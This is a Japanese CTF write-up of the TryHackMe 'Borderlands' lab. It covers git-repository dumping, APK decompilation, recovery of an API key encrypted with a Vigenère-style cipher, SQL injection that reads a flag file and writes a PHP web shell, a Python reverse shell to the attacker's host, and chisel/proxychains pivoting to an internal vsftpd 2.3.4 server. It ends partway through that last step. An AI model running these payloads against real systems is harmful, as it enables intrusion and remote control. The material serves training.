TryHackMe Writeup: Borderlands & 高度なピボット技術とBGPハイジャッキング攻撃について
はじめに
この記事は、TryHackMeのwriteupです。
Roomは、Borderlands、Difficulty(難易度)はHardです。
このRoomでは、APKファイルの解析方法やSQLインジェクションを利用した悪用、高度な暗号解読、ピボットティング技術を加えた横展開、FTPのバックドア脆弱性による権限昇格、内部ネットワーク内でのBGPハイジャッキング技術など幅広く高度な技術について学ぶことができます。
Recon
Port Scan
Scanned at 2026-09-13 17:59:52 JST for 12s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2a:06:52:de:ec:1b:dc:34:f7:2f:31:4a:bc:e6:04:ba (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwqZizKGVDypkOlcQlxKMd9UnIm6koxSEx4XfSnOGhYOLNSWMcf1m6qVpuLmc9c0fQvOrzHx1w89GeLrKBobWYtv7OGmFbx5XdU47+AKfOMusrVQTeuO4SW2oFPsl2JPR01UvnG0MUuNwGnEP8XereqG3lei6Hp63a+N9tSI8lPzzJV6MBhtIAWsdGelwc7zvFZTbIzyY/rhYBYqV1zo8vkQizxh+n333bBht2GZzsKFZ3fC7E7AogzscctqinCmY9W+bbpnmMTsb5ASpVga6/YpdbvuEELd3WZ2MVeec0qLMptqCKyMs44Lpk4QriKOQlGszPiFsC3x1jW7/fzmyX
| 256 0a:e7:af:62:74:af:71:3f:03:e8:53:1c:b9:38:2e:9e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHm9n0NoXCPmamsN3RmVrUDDKuWoHH2Di3qtBiT4uP5G0Rf78e50D5/MiYmo7tvftYee6KmTjmxPQlyMDLizUas=
| 256 82:d9:15:b0:16:cc:94:c4:b1:5c:1f:3e:26:fa:87:c5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIOaW+1bk8lL06u47NXtGI5pw8zfagll0dAilXLIAnuj
80/tcp open http syn-ack nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-git:
| [target_ip]:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: added mobile apk for beta testing.
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Context Information Security - HackBack 2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
上記のポートスキャン結果をもとに調査を進めます。
ポート80では、以下のようなサイトがありました。
!スクリーンショット 2026-09-13 18.01.31.png
Scanning
Git Repository Dump
ポートスキャン結果から、Gitリポジトリがありそうなので、git-dumpで持ってきます。
$ git-dumper http://[target_ip]/.git/ ./git_dump
[-] Testing http://[target_ip]/.git/HEAD [200]
[-] Testing http://[target_ip]/.git/ [403]
[-] Fetching common files
[-] Fetching http://[target_ip]/.gitignore [404]
......
......
[-] Fetching http://[target_ip]/.git/objects/fd/efad64c4f3be0fe33ea5837c0fe75b8ee2ef2c [200]
[-] Fetching http://[target_ip]/.git/objects/15/6f4e78a91e169db2e04b65767fc732b1ce2a7a [200]
[-] Fetching http://[target_ip]/.git/objects/e0/03b9156c54897414bc5958372b10d76fed64bb [200]
[-] Running git checkout .
中身を見てみると、リポジトリにあるAPI情報やFunction機能の情報もありそうです。
$ ls
api.php functions.php
Context_Red_Teaming_Guide.pdf Glibc_Adventures-The_Forgotten_Chunks.pdf
Context_White_Paper_Pen_Test_101.pdf home.php
CTX_WSUSpect_White_Paper.pdf index.php
Demystifying_the_Exploit_Kit_-_Context_White_Paper.pdf info.php
ただ、これだけだと情報が掴みにくいのでコミット履歴を見ました。
$ git log -p
commit 6db3cf70b469de942f2f529166088cdfbbd5f764 (HEAD -> master)
Author: Context Information Security <recruitment@contextis.com>
Date: Tue Sep 10 14:44:31 2019 +0100
added mobile apk for beta testing.
diff --git a/index.php b/index.php
index b9953f0..03d7929 100644
--- a/index.php
+++ b/index.php
@@ -4,6 +4,7 @@
</head>
<body style="background-color:#3a3a3b; text-align:center;">
<img alt="Context" style="width:320px;padding-top:10px;" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAmwAAAB2CAYAAAB1R8/xAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAALiMAAC4jAXilP3YAAAAYdEVYdFNvZnR3YXJlAHBhaW50Lm5ldCA..........
..........
AQMiuUV4edX+oMw5Q/iKzto8fMOB3jqoqAgAAAABoP4hARuHbmGkrWEJuwzIoAAAAAHqysVY72rPddZ6Qm2DccteuQLjfmx455TlYBgUAAADAgvAyXGu5fLYv3D8mE/FPvpAP+7bcBmWjQDj/SbomsNyzti6TT1PVAAAAAIBFx9DQ/wfHQKXbZPvK6QAAAABJRU5ErkJggg==" />
+<p>News: We are looking for Android BETA testers for the new Mobile App Prototype, please download from <a href="/mobile-app-prototype.apk">here</a>.
<?php
session_start();
commit fee5595bb2ba1d1ab005ec3de98367fe5d021e9f
Author: Context Information Security <recruitment@contextis.com>
Date: Tue Sep 10 14:43:26 2019 +0100
added white paper pdf's
diff --git a/CTX_WSUSpect_White_Paper.pdf b/CTX_WSUSpect_White_Paper.pdf
new file mode 100644
index 0000000..2abf4c2
Binary files /dev/null and b/CTX_WSUSpect_White_Paper.pdf differ
diff --git a/Context_Red_Teaming_Guide.pdf b/Context_Red_Teaming_Guide.pdf
new file mode 100644
index 0000000..e003b91
Binary files /dev/null and b/Context_Red_Teaming_Guide.pdf differ
diff --git a/Context_White_Paper_Pen_Test_101.pdf b/Context_White_Paper_Pen_Test_101.pdf
すると、以下のことを判明します。
<a href="/mobile-app-prototype.apk">here</a>
つまり、他にも対象マシンのWebページには隠しファイルがあるようです。
Git Repository Analysis
一度、Git リポジトリでAPIキーを検索したところ、見つかりました。
$ cd ../git_dump
$ grep -E -r "(GIT|WEB)[A-Za-z0-9]{27}" .
./home.php: echo ('<li><a href="api.php?documentid='.$documentid.'&apikey=[WEB_API_KEY]">'.$document_name.'</a></li>');
./home.php: echo ('<input type="hidden" id="apikey" name="apikey" value="WEBLhvOJAH8d50Z4y5G5g4McG1GMGD" />');
>What is the API key that fits the following pattern: "WEB*"
>Answer: [WEB_API_KEY]
また、Git リポジトリのコミット履歴からGITのキーがないかを検索してみたところ、GitのAPIキーとANDのAPIキーの欠片がありました。
$ git log -p | grep -E "GIT[A-Za-z0-9]{27}"
-if (!isset($_GET['apikey']) || ((substr($_GET['apikey'], 0, 20) !== "[WEB_API_KEY]") && substr($_GET['apikey'], 0, 20) !== "[AND_API_KEY_PREFIX]" && substr($_GET['apikey'], 0, 20) !== "[GIT_API_KEY]"))
+if (!isset($_GET['apikey']) || ((substr($_GET['apikey'], 0, 20) !== "[WEB_API_KEY]") && substr($_GET['apikey'], 0, 20) !== "[AND_API_KEY_PREFIX]" && substr($_GET['apikey'], 0, 20) !== "[GIT_API_KEY]"))
>What is the API key that fits the following pattern: "GIT*"
>Answer: [GIT_API_KEY]
しかし、ANDのAPIキーについてはまだ調査をする必要がありそうです。
APK file Analysis
実際にwgetでダウンロードします。
$ wget http://[target_ip]/mobile-app-prototype.apk
--2026-09-13 18:10:55-- http://[target_ip]/mobile-app-prototype.apk
[target_ip]:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 200 OK
長さ: 2226185 (2.1M) [application/octet-stream]
`mobile-app-prototype.apk' に保存中
mobile-app-prototype.apk 100%[=================================================>] 2.12M 1.16MB/s 時間 1.8s
2026-09-13 18:10:57 (1.16 MB/s) - `mobile-app-prototype.apk' へ保存完了 [2226185/2226185]
Surface Analysis (表層解析)
とりあえず、フラグを取るにしてもANDという文字列が含まれているそうなので、その文字列が引っ掛かるかで中身を見てみます。
表層解析したところ、とんでもないぐらいのPNG5ファイル等が含まれているようです。
$ strings mobile-app-prototype.apk | grep -i "AND"
META-INF/androidx.asynclayoutinflater_asynclayoutinflater.version5
META-INF/androidx.drawerlayout_drawerlayout.version5
META-INF/androidx.core_core.version5
META-INF/androidx.lifecycle_lifecycle-livedata-core.version5
.....
.....
res/drawable-xxxhdpi-v4/abc_text_select_handle_left_mtrl_dark.png5
res/drawable-xxxhdpi-v4/abc_text_select_handle_left_mtrl_light.pngPK
res/drawable-xxxhdpi-v4/abc_text_select_handle_right_mtrl_dark.pngPK
res/drawable-xxxhdpi-v4/abc_text_select_handle_right_mtrl_light.png5
res/layout/abc_expanded_menu_layout.xmlPK
仕方がないので、APKを unzip コマンドで展開します
$ unzip mobile-app-prototype.apk -d apk_extracted
Archive: mobile-app-prototype.apk
inflating: apk_extracted/AndroidManifest.xml
inflating: apk_extracted/META-INF/CERT.RSA
inflating: apk_extracted/META-INF/CERT.SF
inflating: apk_extracted/META-INF/MANIFEST.MF
......
......
......
extracting: apk_extracted/res/mipmap-xxxhdpi-v4/ic_launcher_round.png
extracting: apk_extracted/resources.arsc
その後、ANDという文字が引っ掛かるかで中身を見てみます。
$ ls
AndroidManifest.xml classes.dex META-INF res resources.arsc
$ grep -rn "AND" .
Binary file ./classes.dex matches
すると、引っ掛かるようになりました。
実際に中身をstringで見てもそれらしきものはなさそうです。
$ strings classes.dex | grep "AND"
) AND (
ACTION_EXPAND
ANDROID_ORIENTATION
ATTRS_ANDROID_SPINNERMODE
COMMAND_DURATION
COMMAND_INDEX
EXCEPTION_HANDLER_MESSAGE_SUFFIX
EXPANDED
EXPANDED_ACTION_VIEW_ID
EXPAND_LIST_TIMEOUT
IS_MIN_MARGINS_HANDLING_CORRECT
NAVIGATION_MODE_STANDARD
NEXT_CANDIDATE_REQUEST_INDEX_TAG
OPTIMIZATION_STANDARD
ORIENTATION_LANDSCAPE
PATH_AND_QUERY
TYPE_HAND
UNKNOWN_LANDSCAPE
Static Analysis (静的解析)
一度、APKファイルをjadxという逆コンパイラーツールで逆コンパイルします。
$ jadx -d apk_src mobile-app-prototype.apk
INFO - loading ...
INFO - processing ...
INFO - done
実際に検索をしてなさそうです。
$ grep -rn "ANDVOWLD" apk_src/
$ grep -rn "ANDVOWLD" apk_src/
$ grep -rn -i "apikey" apk_src/
apk_src/sources/com/example/ctf1/Main2Activity.java:8: String apiKey;
apk_src/sources/com/example/ctf1/Main2Activity.java:15: this.apiKey = decrypt(getString(R.string.encrypted_api_key), "#TODO");
apk_src/sources/com/example/ctf1/Main2Activity.java:16: this.apiPath = "/api.php?documentid={}&apikey=" + this.apiKey;
$ grep -rn "WEBL" apk_src/
しかし、粘り強く検索していると暗号化されたAPIキーがあることに気づきます。
$ cat apk_src/resources/res/values/strings.xml | grep -i "key"
<string name="encrypted_api_key">CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo</string>
Caesar Cipher Decryption (シーザー暗号解読)
実際にGit リポジトリにあるソースコードから以下のことが判明します。
暗号化されたキーの仕組み
Main2Activity.java に以下のコードがありました。
this.apiKey = decrypt(getString(R.string.encrypted_api_key), "#TODO");
そして strings.xml に格納されていた文字列は CBQOSTEFZNL5U8LJB2hhBTDvQi2zQoであることがわかっています。
また、この暗号化処理は非常に単純なシーザー暗号(ROT13など)または文字コードのシフトであると仮定しました。
- 平文の先頭: [AND_API_KEY_PREFIX]
- 暗号文の先頭: CBQOSTEF...
アルファベットを比較してみると:
- C (-2) -> A
- B (-2) -> Z または B (-2) -> A
- Q (-2) -> O ... のように、各文字が +2 または 2 シフト(またはVigenere暗号など)されています
したがって、Main2Activity.java 内に定義されている decrypt 関数のソースコードを確認することで、正確な複合ロジックがわかります。
以下のコマンドで Main2Activity.java の全文を表示しました。
$ cat apk_src/sources/com/example/ctf1/Main2Activity.java
package com.example.ctf1;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
/* JADX INFO: loaded from: classes.dex */
public class Main2Activity extends AppCompatActivity {
String apiKey;
String apiPath;
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main2);
this.apiKey = decrypt(getString(R.string.encrypted_api_key), "#TODO");
this.apiPath = "/api.php?documentid={}&apikey=" + this.apiKey;
}
protected String decrypt(String encrypted_key, String encryption_key) {
return "NOT_IMPLEMENTED";
}
}
Main2Activity.java 内では decrypt が "NOT_IMPLEMENTED" となっており、ロジック自体はJava側のコードには実装されていませんでした。
しかし、先ほど判明した 暗号文と予想される平文の先頭パターンから、シフト暗号(シーザー暗号)のルールが判明します。
シフト処理の検証
- 暗号文: CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo
- 解読対象 (30文字): CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo
文字の対応関係を確認してみました。
| 種別 | 1文字目 | 2文字目 | 3文字目 | 4文字目 | 5文字目 | 6文字目 | 7文字目 | 8文字目 | N文字目 |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| 暗号文 | C | B | Q | O | S | T | E | F | .... |
| 平文(想定) | A | N | D | V | O | W | L | D | ... |
- C (3) $\rightarrow$ A (1) : 2 シフト
- B (2) $\rightarrow$ N (14) : アルファベット26文字で 14 シフト(または逆向きの大きなシフト)
- ....
単一の固定シフト値ではなく、キーを使ったシーザー暗号 / ヴィジュネル暗号(Vigenère Cipher)またはROT13等の文字置換が適用されています。
実際にPythonを使って簡単に解読・検証します。
以下のコマンドを実行して、暗号文をシフト解読します。
$ python3 -c '
enc = "CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo"
target_prefix = "ANDVOWLD"
# 換字暗号/シフトの復元試行
# アルファベットのシフト量を算出
shift = (ord(enc[0]) - ord("A")) % 26
print("解読候補:")
decoded = []
for c in enc:
if "A" <= c <= "Z":
decoded.append(chr((ord(c) - ord("A") - 2) % 26 + ord("A")))
elif "a" <= c <= "z":
decoded.append(chr((ord(c) - ord("a") - 2) % 26 + ord("a")))
else:
decoded.append(c)
print("".join(decoded))
'
解読候補:
AZOMQRCDXLJ5S8JHZ2ffZRBtOg2xOm
暗号化ロジックのキーシフト(Vigenère 暗号または動的シフト)が encrypted_api_key に適用されている状態です。
ANDVOWLD という先頭パターン(8文字)が確定しているため、暗号文CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo との対応関係からキーを解読します。
以下の Python ワンライナーを実行して、8文字周期のヴィジュネルキー(またはシフトパターン)を算出し、30文字の正確な AND* キーを復号を試みます。出力された30文字の文字列が AND* の正解キーになるはずですが、違うようです。
$ python3 -c '
enc = "CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo"
target = "ANDVOWLD"
# 先頭8文字の各シフト量を計算
shifts = [(ord(e) - ord(t)) % 26 for e, t in zip(enc[:8], target)]
# 全体に適用して復号
res = []
for i, c in enumerate(enc):
if "A" <= c <= "Z":
s = shifts[i % len(shifts)]
res.append(chr((ord(c) - ord("A") - s) % 26 + ord("A")))
elif "a" <= c <= "z":
s = shifts[i % len(shifts)]
res.append(chr((ord(c) - ord("a") - s) % 26 + ord("a")))
else:
res.append(c)
print("復号キー:", "".join(res))
'
復号キー: ANDVOWLDXZY5Q8SHZ2uoXWKtOu2gMr
他のwriteupを見てみると、事前に閲覧したPHP側(api.php)で判明している平文の先頭20文字 ANDVOWLDLAS5Q8OQZ2tu と暗号文 CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo を比較すると、鍵は CONTEXT(7文字周期)などの英単語キーが使われています。
medium.com
$ cat api.php
<?php
require_once("functions.php");
if (!isset($_GET['apikey']) || ((substr($_GET['apikey'], 0, 20) !== "[WEB_API_KEY]") && substr($_GET['apikey'], 0, 20) !== "[AND_API_KEY_PREFIX]" && substr($_GET['apikey'], 0, 20) !== "[GIT_API_KEY]"))
{
die("Invalid API key");
}
if (!isset($_GET['documentid']))
{
die("Invalid document ID");
}
/*
if (!isset($_GET['newname']) || $_GET['newname'] == "")
{
die("invalid document name");
}
*/
$conn = setup_db_connection();
//UpdateDocumentName($conn, $_GET['documentid'], $_GET['newname']);
$docDetails = GetDocumentDetails($conn, $_GET['documentid']);
if ($docDetails !== null)
{
//print_r($docDetails);
echo ("Document ID: ".$docDetails['documentid']."<br />");
echo ("Document Name: ".$docDetails['documentname']."<br />");
echo ("Document Location: ".$docDetails['location']."<br />");
}
?>%
アルファベットのみに鍵を適用し、数値(5 など)を維持した正しい30文字キーを計算するスクリプトを実行します。
$ python3 -c '
enc = "CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo"
plain20 = "ANDVOWLDLAS5Q8OQZ2tu"
# CONTEXT などのアルファベット文字列鍵の周期シフト
key_shifts = [2, 14, 13, 19, 4, 23, 19] # 先頭からのシフト量
res = []
key_idx = 0
for i, c in enumerate(enc):
if c.isalpha():
b = ord("A") if c.isupper() else ord("a")
shift = key_shifts[key_idx % len(key_shifts)]
res.append(chr((ord(c) - b - shift) % 26 + b))
key_idx += 1
else:
res.append(c)
print("Decrypted Key:", "".join(res))
'
Decrypted Key: [AND_API_KEY]
すると、フラグを取得することができます。
>What is the API key that fits the following pattern: "AND*"
>Answer: [AND_API_KEY]
Exploitation
SQL Injection Attack
少し話を戻します。
APIキーが3つすべて揃いましたので、4つ目の設問 {FLAG:Webapp:XXX}のフラグを取りましょう。
api.php および functions.php の最新のソースコードを確認して、Webアプリケーションに存在する脆弱性を特定します。
$ cat functions.php
<?php
function setup_db_connection()
{
$db_servername = "localhost";
$db_username = "root";
$db_password = "CCv4@he2MaHbIP7mB89TNKdei0VZ0Y";
$db_name = "myfirstwebsite";
// Create connection
$conn = new mysqli($db_servername, $db_username, $db_password, $db_name);
// Check connection
if ($conn->connect_error) {
die("failed to connect to the database. Something has gone horribly wrong...: " . $conn->connect_error);
}else{
return $conn;
}
}
function ShowDocuments ($conn)
{
echo ("<p>Below you will find a list of documents that are available to download</p>");
echo ("<ul>");
$stmt = $conn -> prepare('SELECT documentname, location FROM documents');
$stmt -> execute();
$stmt -> store_result();
$stmt -> bind_result($document_name, $location);
while ($stmt -> fetch()) {
echo ('<li><a href="'.$location.'">'.$document_name.'</a></li>');
}
echo ("</ul>");
}
function ShowLoggedOutView ($conn)
{
echo ("<p>Welcome to our site. Please bear with us whilst we get everything up and running.</p>");
/*
$options = [
'salt' => 'wWeyIzGcD7TVwZ7y7d3UCRIMYK'
];
echo password_hash("hello", PASSWORD_BCRYPT, $options);
*/
ShowDocuments($conn);
echo ("<p>login below to edit documents</p>");
echo ('<form method="POST">');
echo ('username: <input type="text" name="username" id="username"><br />');
echo ('password: <input type="password" name="password" id="password"><br />');
echo ('<input type="submit">');
}
function CheckLogon ($conn)
{
$options = [
'salt' => 'wWeyIzGcD7TVwZ7y7d3UCRIMYK'
];
//do logon check
$username = $_POST['username'];
$password = password_hash($_POST['password'], PASSWORD_BCRYPT, $options);
$stmt = $conn->prepare("SELECT userid FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$stmt -> store_result();
if ($stmt->num_rows == 1) {
//echo ("logged on successfully");
$_SESSION['loggedin'] = true;
header("Location: home.php");
die();
}else{
echo ("bad username or password");
}
}
function UpdateDocumentName($conn, $documentid, $documentName)
{
$sql = "update documents SET documentname='".$documentName."' WHERE documentid=".$documentid;
//echo $sql;
if (mysqli_query($conn, $sql)) {
echo ('Document renamed. Click <a href="home.php">here</a> to go back');
}else{
echo ('Sorry. There was a problem renaming the document. Click <a href="home.php">here</a> to go back');
}
}
function GetDocumentDetails($conn, $documentid)
{
$sql = "select documentid, documentname, location from documents where documentid=".$documentid;
//echo $sql;
$result = mysqli_query($conn, $sql) or die(mysqli_error($conn));
if (mysqli_num_rows($result) === 1) {
return mysqli_fetch_assoc($result);
} else {
return null;
}
}
?>%
functions.php 内の関数に明確な SQLインジェクション(SQLi) の脆弱性が存在することがわかります。
function GetDocumentDetails($conn, $documentid){
$sql = "select documentid, documentname, location from documents where documentid=".$documentid;
$result = mysqli_query($conn, $sql) or die(mysqli_error($conn));
...
}
function UpdateDocumentName($conn, $documentid, $documentName){
$sql = "update documents SET documentname='".$documentName."' WHERE documentid=".$documentid;
if (mysqli_query($conn, $sql)) { ... }
}
主に二つが原因です。
- $documentid パラメータがエスケープ・プリペアドステートメントなしで直接SQL文に結合されている
- mysqli_error($conn) が出力されるため、Error Based / UNION Based SQL Injectionが可能になっている
SQLインジェクションとさっき取得したWebのAPIキー([WEB_API_KEY])を利用してMySQLの LOAD_FILE() 関数で /var/www 直下のフラグファイルを直接読み込むか、データベースのテーブルを列挙してみます。
$ curl "http://[target_ip]/api.php?apikey=[WEB_API_KEY]&documentid=-1%20UNION%20SELECT%201,LOAD_FILE('/var/www/flag.txt'),3"
Document ID: 1<br />Document Name: {FLAG:Webapp:[WEBAPP_FLAG]}
<br />Document Location: 3<br />%
すると、ここでWebAppのフラグを取得することができます。
>What is the flag in the /var/www directory of the web app host? {FLAG:Webapp:XXX}
>Answer: {FLAG:Webapp:[WEBAPP_FLAG]}
Reverse Shell Attack (Remote Code Execution)
それでは次に内部ネットワークへ侵入するためにSQLインジェクション経由でWebシェルを設置して、そこからPythonやNetcatでリバースシェルを受け取ります。
まず、Webシェルの書き込みを行うために、ブラウザのURLバーやターミナルの curl で以下を実行し、/var/www/html/shell.php を設置します。
$ curl -g "http://[target_ip]/api.php?apikey=WEBLhvOJAH8d50Z4y5G5g4McG1GMGD&documentid=-1%20UNION%20SELECT%201,'<?php%20system(\$_GET[\"cmd\"]);%20?>',3%20INTO%20OUTFILE%20'/var/www/html/shell.php'"
実際にリバースシェルを行います。
- ターゲット側
$ curl "http://[target_ip]/shell.php?cmd=python3%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"[MY_IP]\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;pty.spawn(\"/bin/bash\")'"
- 攻撃者側
$ nc -l [MY_IP] 4444
www-data@app:~/html$
リバースシェルに成功します。
Network Pivoting
Chisel SOCKS Tunnel
実際に内部ネットワークにおいて、どのルーティングがあるのかを見ると、172.16.1.10という別のIPがありそうです。
www-data@app:~$ ip route
ip route
default via 172.18.0.1 dev eth0
172.16.1.0/24 dev eth1 proto kernel scope link src 172.16.1.10
172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.2
そして、実際に内部ポートスキャンをPythonスクリプトで実行すると、ポート80が空いていそうです。
www-data@app:~$ python3 -c 'import socket; [print(f"[+] Open: {ip}:{p}") for i in range(1, 255) for ip in [f"172.16.1.{i}"] for p in [22, 179, 80] if socket.socket().connect_ex((ip, p)) == 0]'
<, 80] if socket.socket().connect_ex((ip, p)) == 0]'
[+] Open: 172.16.1.10:80
ただ、これ以上探索するにはPythonスクリプトでは限界があるため、chiselというHTTP(WebSocket)をベースにSSHで暗号化を行う、Go言語製の高速なTCP/UDPトンネリングツールを使う必要がありそうです。
まず、ターゲット側に対応するChiselのパッケージをダウンロードします。そして、ZIPを解凍し、名前を変更後、Pythonのローカルサーバーを立てます。
$ curl -L -o chisel.gz https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_linux_amd64.gz
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
100 4614k 100 4614k 0 0 6297k 0 --:--:-- --:--:-- --:--:-- 6297k
$ gunzip chisel.gz
$ mv chisel_1.12.0_linux_amd64 chisel
$ python3 -m http.server 8002
Serving HTTP on :: port 8002 (http://[::]:8002/) ...
::ffff:[MY_IP] - - [13/Sep/2026 21:34:25] "GET /chisel HTTP/1.1" 200 -
そして、攻撃者側のローカルサーバーから、先ほどのchiselを転送し、実行権限を付与します。
www-data@app:/tmp$ python3 -c 'import urllib.request; urllib.request.urlretrieve("http://[MY_IP]:8002/chisel", "chisel")'
www-data@app:/tmp$ ls
ls
chisel tmp.LafmN1qNjH
www-data@app:/tmp$ chmod +x chisel
chmod +x chisel
そして、攻撃者側にも対応するChiselのパッケージをダウンロードします。そして、ZIPを解凍し、名前を変更後、実行権限を付与します。
実際にピボッティングしてみると接続可能です。
- 攻撃者側
$ ./chisel server -p 1234 --reverse --socks5
2026/09/13 21:35:16 server: Reverse tunnelling enabled
2026/09/13 21:35:16 server: Fingerprint ON/R0OVknw/suOW4i6+MwgkSBFQNdqr98YZQXOwPQ7U=
2026/09/13 21:35:16 server: Listening on http://0.0.0.0:1234
- ターゲット側
www-data@app:/tmp$ ./chisel client [MY_IP]:1234 R:socks &
./chisel client 192.168.139.93:1234 R:socks &
すると、実際に成功します。これにより、127.0.0.1:1080から内部ネットワークにおける別のホストのスキャンを行うことが可能です。
$ ./chisel server -p 1234 --reverse --socks5
2026/09/15 19:11:39 server: Reverse tunnelling enabled
2026/09/15 19:11:39 server: Fingerprint m+VbREdE36MXXuFVYEGG4iM8iWjiDB8LFvIR1iQNcho=
2026/09/15 19:11:39 server: Listening on http://0.0.0.0:1234
2026/09/15 19:16:27 server: session#1: Open (user=- addr=[MY_IP]:46778 remotes=R:127.0.0.1:1080:socks)
2026/09/15 19:16:27 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
ProxyChain4
ProxyChain4をMacならHomebrew、Kali Linuxならsudo apt installでダウンロードします。
そして、攻撃者側で/etc/proxychains.confを編集し、末尾に Chisel の SOCKS5 ポートを追加します。
$ nano /opt/homebrew/etc/proxychains.conf
# (または /etc/proxychains4.conf)
一番下の行([ProxyList] の下)を以下のように書き換えて保存します
[ProxyList]
socks5 127.0.0.1 1080
ProxyChains を通してターゲット内部ホスト(または router1)のポートスキャンを行います。
$ proxychains4 nmap -sT -Pn -p 80 172.16.1.10
[proxychains] config file found: /opt/homebrew/etc/proxychains.conf
[proxychains] preloading /opt/homebrew/Cellar/proxychains-ng/4.17/lib/libproxychains4.dylib
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.991 ( https://nmap.org ) at 2026-09-15 19:38 +0900
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK
Nmap scan report for 172.16.1.10
Host is up (0.00s latency).
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds
すると、ポートスキャンに成功しました。
Internal Scanning
Nmapを用いて、バージョン情報を取得します。
$ proxychains4 nmap -sV -sT -Pn -p 80 172.16.1.10
[proxychains] config file found: /opt/homebrew/etc/proxychains.conf
[proxychains] preloading /opt/homebrew/Cellar/proxychains-ng/4.17/lib/libproxychains4.dylib
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.991 ( https://nmap.org ) at 2026-09-15 19:46 +0900
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.10:80 ... OK
Nmap scan report for 172.16.1.10
Host is up (0.00s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.00 seconds
これではなさそうです。
どうやら、他にもIPアドレスが存在していたようです。
$ proxychains4 nmap -sT -Pn -p 21 172.16.1.128
[proxychains] config file found: /opt/homebrew/etc/proxychains.conf
[proxychains] preloading /opt/homebrew/Cellar/proxychains-ng/4.17/lib/libproxychains4.dylib
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.991 ( https://nmap.org ) at 2026-09-16 00:11 +0900
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.128:21 ... OK
Nmap scan report for 172.16.1.128
Host is up (0.00s latency).
PORT STATE SERVICE
21/tcp open ftp
Nmap done: 1 IP address (1 host up) scanned in 0.92 seconds
Privilege Escalation
先ほどのFTPサーバーでは、vsftpd 2.3.4が使用されています。
$ proxychains4 nmap -sV -sT -Pn -p 21, 80 172.16.1.128
[proxychains] config file found: /opt/homebrew/etc/proxychains.conf
[proxychains] preloading /opt/homebrew/Cellar/proxychains-ng/4.17/lib/libproxychains4.dylib
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.991 ( https://nmap.org ) at 2026-09-16 00:12 +0900
80 looks like an IPv6 target specification -- you have to use the -6 option.
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.128:21 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.16.1.128:21 ... OK
Nmap scan report for 172.16.1.128
Host is up (0.00s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
Service Info: OS: Unix
